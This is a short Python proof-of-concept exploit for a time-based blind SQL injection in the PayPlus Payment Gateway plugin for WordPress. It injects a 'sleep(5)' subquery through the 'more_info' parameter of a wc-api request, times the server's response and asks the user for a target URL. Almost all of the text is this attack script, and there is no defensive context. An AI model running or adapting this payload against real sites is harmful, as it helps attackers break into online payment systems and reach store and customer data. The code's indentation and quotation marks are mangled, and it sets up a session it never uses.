WordPress PayPlus Payment Gateway SQL Injection

#!/usr/bin/env python3.11
import requests
import time

def exploit(url):
payload = {“wc-api”: “payplus_gateway&status_code=true&more_info=(select*from(select(sleep(5)))a)”}

start = time.time()
with requests.Session() as session:
session.headers.update({
‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3’
})
response = requests.get(url, params=payload)
print(f”Exploiting {url}…”)

end = time.time()
print(response.status_code)
response_time = end – start
print(f”Response time: {response_time}…”)

if __name__ == “__main__”:
url = input(“Enter the vulnerable URL (e.g., https://test.site): “)
if not url.startswith(“http”):
url = “http://” + url
exploit(url)